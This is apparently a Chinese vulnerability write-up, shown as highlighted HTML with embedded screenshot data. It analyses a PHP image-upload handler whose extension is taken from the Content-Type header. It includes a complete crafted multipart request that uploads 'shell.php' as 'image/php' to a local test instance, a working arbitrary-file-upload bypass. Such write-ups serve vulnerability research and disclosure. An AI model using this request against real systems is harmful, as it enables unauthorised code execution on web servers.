a/7QO9zF27txBS8ueY163LItC4disF5svwuUXr8ThDFBV5mPzuy/y3uaRLxJ1c85j9pW1ZPt28+Qzr2IEp4zcm0trCbsO35sPcodLieYSdJRP5YpFTdijVUTdJq89/QSdio/qUh8fTd5bF0IIIcRJiMVik1q/0+k8OPuShaKMXXgi3JGpZIf24gpUYxTSxNtWk+rdSue6H6DnU2QGW/BEjs10qZ02HY8NQKW2sQmvQ6Np9vm4E+v4v//vbyk0Xspl86oPlfeUz+BrNy3nx//81/zHw69z+zd+gxInVNbX8uYj/8HffvcHzLrsdmrDdm7+tW/Rteoh/urv/hN7afVR002pdhfzF8zjgxce5Iev7eN3772QH/7z37I2FuXyJbWUzbmc62ZY/O1f/B/Wdhgsnz8DVQVXqJKZ5RovPv0U7ualRJ0adl85X7n3S7z04D/znX/7JSsuv4zBrat5d+M2fvnAD2mJ5aifNh23Bhfc9BWCfWv5y//7F3R4F3DbJXOxuf2sXDGH5376rzzw+IfcdPt1hwb8Ue1e7vvGLine truncated
|
||||
<p>并且在替换后有一个拼接操作,进行源码分析</p>
|
||||
<div class=highlight><pre><span></span><span class=err>$</span><span class=n>imgURL</span><span class=o>=</span><span class=p>(</span><span class=err>$</span><span class=n>_FILES</span><span class=p>[</span><span class=s1>'imgFile'</span><span class=p>][</span><span class=s1>'tmp_name'</span><span class=p>]);</span>
|
||||
<span class=o>//</span><span class=err>进行替换操作</span>
|
||||
<span class=err>$</span><span class=nb>type</span> <span class=o>=</span> <span class=n>str_replace</span><span class=p>(</span><span class=s1>'image/'</span><span class=p>,</span> <span class=s1>'.'</span><span class=p>,</span> <span class=err>$</span><span class=n>_FILES</span><span class=p>[</span><span class=s1>'imgFile'</span><span class=p>][</span><span class=s1>'type'</span><span class=p>]);</span>
|
||||
<span class=o>//</span><span class=err>将替换后的内容进行拼接,这里导致了我们后缀可控</span>
|
||||
<span class=err>$</span><span class=n>imgURL_name</span><span class=o>=</span><span class=n>time</span><span class=p>()</span><span class=o>.</span><span class=n>mt_rand</span><span class=p>(</span><span class=mi>1</span><span class=p>,</span><span class=mi>1000</span><span class=p>)</span><span class=o>.</span><span class=err>$</span><span class=nb>type</span><span class=p>;</span>
|
||||
<span class=o>//</span><span class=err>移动操作</span>
|
||||
<span class=n>move_uploaded_file</span><span class=p>(</span><span class=err>$</span><span class=n>imgURL</span><span class=p>,</span><span class=err>$</span><span class=n>uploadImg</span><span class=o>.</span><span class=err>$</span><span class=n>imgURL_name</span><span class=p>);</span>
|
||||
<span class=err>$</span><span class=n>image</span> <span class=o>=</span> <span class=err>$</span><span class=n>uploadImg</span> <span class=o>.</span> <span class=err>$</span><span class=n>imgURL_name</span><span class=p>;</span>
|
||||
<span class=n>echo</span> <span class=n>json_encode</span><span class=p>(</span><span class=n>array</span><span class=p>(</span><span class=s2>"error"</span><span class=o>=></span><span class=err>$</span><span class=n>error</span><span class=p>,</span><span class=s2>"url"</span><span class=o>=></span><span class=err>$</span><span class=n>image</span><span class=p>,</span><span class=s1>'message'</span><span class=o>=></span><span class=err>$</span><span class=n>msg</span><span class=p>));</span>
|
||||
</pre></div>
|
||||
<p>如果我们将Content-Type: application/octet-stream修改为Content-Type: image/php那么拼接时会变成.php的后缀。</p>
|
||||
<p><a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301141335-d6137b86-d792-1.png><img src=data:image/png;base64,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 truncated
|
||||
<p>构造恶意请求包</p>
|
||||
<div class=highlight><pre><span></span><span class=n>POST</span> <span class=o>/</span><span class=n>index</span><span class=o>.</span><span class=n>php</span><span class=err>?</span><span class=n>module</span><span class=o>=</span><span class=n>system</span><span class=o>&</span><span class=n>action</span><span class=o>=</span><span class=n>uploadImg</span> <span class=n>HTTP</span><span class=o>/</span><span class=mf>1.1</span>
|
||||
<span class=n>Host</span><span class=p>:</span> <span class=mf>127.0</span><span class=o>.</span><span class=mf>0.1</span><span class=p>:</span><span class=mi>8080</span>
|
||||
<span class=n>User</span><span class=o>-</span><span class=n>Agent</span><span class=p>:</span> <span class=n>Mozilla</span><span class=o>/</span><span class=mf>5.0</span> <span class=p>(</span><span class=n>Windows</span> <span class=n>NT</span> <span class=mf>10.0</span><span class=p>;</span> <span class=n>Win64</span><span class=p>;</span> <span class=n>x64</span><span class=p>;</span> <span class=n>rv</span><span class=p>:</span><span class=mf>123.0</span><span class=p>)</span> <span class=n>Gecko</span><span class=o>/</span><span class=mi>20100101</span> <span class=n>Firefox</span><span class=o>/</span><span class=mf>123.0</span>
|
||||
<span class=n>Accept</span><span class=p>:</span> <span class=n>text</span><span class=o>/</span><span class=n>html</span><span class=p>,</span><span class=n>application</span><span class=o>/</span><span class=n>xhtml</span><span class=o>+</span><span class=n>xml</span><span class=p>,</span><span class=n>application</span><span class=o>/</span><span class=n>xml</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.9</span><span class=p>,</span><span class=n>image</span><span class=o>/</span><span class=n>avif</span><span class=p>,</span><span class=n>image</span><span class=o>/</span><span class=n>webp</span><span class=p>,</span><span class=o>*/*</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.8</span>
|
||||
<span class=n>Accept</span><span class=o>-</span><span class=n>Language</span><span class=p>:</span> <span class=n>zh</span><span class=o>-</span><span class=n>CN</span><span class=p>,</span><span class=n>zh</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.8</span><span class=p>,</span><span class=n>zh</span><span class=o>-</span><span class=n>TW</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.7</span><span class=p>,</span><span class=n>zh</span><span class=o>-</span><span class=n>HK</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.5</span><span class=p>,</span><span class=n>en</span><span class=o>-</span><span class=n>US</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.3</span><span class=p>,</span><span class=n>en</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.2</span>
|
||||
<span class=n>Accept</span><span class=o>-</span><span class=n>Encoding</span><span class=p>:</span> <span class=n>gzip</span><span class=p>,</span> <span class=n>deflate</span>
|
||||
<span class=n>Content</span><span class=o>-</span><span class=n>Type</span><span class=p>:</span> <span class=n>multipart</span><span class=o>/</span><span class=n>form</span><span class=o>-</span><span class=n>data</span><span class=p>;</span> <span class=n>boundary</span><span class=o>=---------------------------</span><span class=mi>3521672959703348041050404464</span>
|
||||
<span class=n>Content</span><span class=o>-</span><span class=n>Length</span><span class=p>:</span> <span class=mi>238</span>
|
||||
<span class=n>Origin</span><span class=p>:</span> <span class=n>http</span><span class=p>:</span><span class=o>//</span><span class=mf>127.0</span><span class=o>.</span><span class=mf>0.1</span><span class=p>:</span><span class=mi>8080</span>
|
||||
<span class=n>Connection</span><span class=p>:</span> <span class=n>close</span>
|
||||
<span class=n>Cookie</span><span class=p>:</span> <span class=n>admin_mojavi</span><span class=o>=</span><span class=n>idaa1su8mvj9leoubg27osau0r</span>
|
||||
<span class=n>Upgrade</span><span class=o>-</span><span class=n>Insecure</span><span class=o>-</span><span class=n>Requests</span><span class=p>:</span> <span class=mi>1</span>
|
||||
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>Dest</span><span class=p>:</span> <span class=n>iframe</span>
|
||||
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>Mode</span><span class=p>:</span> <span class=n>navigate</span>
|
||||
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>Site</span><span class=p>:</span> <span class=n>same</span><span class=o>-</span><span class=n>origin</span>
|
||||
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>User</span><span class=p>:</span> <span class=err>?</span><span class=mi>1</span>
|
||||
|
||||
<span class=o>-----------------------------</span><span class=mi>3521672959703348041050404464</span>
|
||||
<span class=n>Content</span><span class=o>-</span><span class=n>Disposition</span><span class=p>:</span> <span class=n>form</span><span class=o>-</span><span class=n>data</span><span class=p>;</span> <span class=n>name</span><span class=o>=</span><span class=s2>"imgFile"</span><span class=p>;</span> <span class=n>filename</span><span class=o>=</span><span class=s2>"shell.php"</span>
|
||||
<span class=n>Content</span><span class=o>-</span><span class=n>Type</span><span class=p>:</span> <span class=n>image</span><span class=o>/</span><span class=n>php</span>
|
||||
|
||||
<span class=o><</span><span class=err>?</span><span class=n>php</span> <span class=n>phpinfo</span><span class=p>();</span> <span class=err>?</span><span class=o>></span>
|
||||
<span class=o>-----------------------------</span><span class=mi>3521672959703348041050404464</span><span class=o>--</span>
|
||||
</pre></div>
|
||||
<p><a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301141505-0b9c0048-d793-1.png><img src="data:image/png;base64,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 truncated
|
||||
<p>访问</p>
|
||||
<p><a id=img6 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301141410-eadbf5e8-d792-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB/kAAAJuCAYAAABbiLHBAAEAAElEQVR4nOzde3xV9Z3v/9fa92QnIQkkQIAAQQMNVBCpiRItWFGwRYWO13a01T4qc9pT29GptnU69jed0Tq2VUdP1TM6xVbqSEeszCkoVrEGTRTEIEGIEEiAQC7ktu/33x87CTshV8gNfT/7SE1W1lr7u1fWDkne38/na+zYsSPGEEtLSyM7O5u0tDQAwuEwsdjAHsYwDCwWCwCtra00NDTQ1tYGQCwWwzCMoR6uCLt27eKjjz7ia1/72mgPRaRPH374IRUVFbpXZczTvSpnC92rcjbQfSpjne5RORvoPpWxTveonA3OPfdcrFbraA9DpF+1tbW0tLSM9jBEeqR/82WoGMMR8nfIzMwkPT0dh8OBw+EA4kF9LBYjGo0CYDKZMAyjM7z3+/34/X6am5tpbm7uPJcCfhERERERERERERGRkZeUlMTMmTNHexgiA9LW1saRI0dGexgiIsPKMpwnb2pqoqmpCbvdTlJSEsnJydjtdqxWa+eMP5/PRzgcJhAI4PV68fl8BAKBU86lgF9EREREREREREREZORlZGSM9hBEBiwtLQ2r1UooFBrtoYiIDJthDfk7BAIBAoGA2qPImGMYxoCXkhAZTbpX5Wyhe1XOFrpX5Wyg+1TGOt2jcjbQfSpjne5RORvY7XbS09NHexgig5KVlUVtbe1oD0Okk/7Nl6FmGu0BiIymjmUjRMY63atyttC9KmcL3atyNtB9KmOd7lE5G+g+lbFO96icDXJyckZ7CCKDlp6eTmpq6mgPQ6ST/s2XoaaQXz7TtAyEnC10r8rZQveqnC10r8rZQPepjHW6R+VsoPtUxjrdozLWTZ06laSkpNEehshpmTJlCna7fbSHIQLo33wZegr5RURERERExhC17xMROXP6XioicuZycnJIS0sb7WGInDaTycT06dNJTk4e7aHIZ5h+LpXhopBfPlO05omcLXSvytlC96qcLXSvytlEs/tlrNL3Ujmb6HupjFX6XipnA5vNxowZM0hPTx/toYicMYvFwowZMxg/fvxoD0U+o/RzqQwXy2gPQGQkGIbRud7J2fYNVb/4fbZ03Ksd96m+/jKWxWIx3asy5un7qojI0NC/+yIiZ0Y/l8rZwGq1kp6eTlZWFqD7VD5dsrOzSU1Npb6+Ho/HM9rDEZEx6mzKEA2fz6d/qUXGiNP5wVk/bIuIiIiIiIiIiIiIiIj07XRC/LEa/KuSX2QM6CmoV3gvIiIiIiIiIiIiIiIiMjQGmr0lBvsdx4y1sF8hv8go6f6NpL+PB/o5EREREREREREREREREendYEJ7wzC6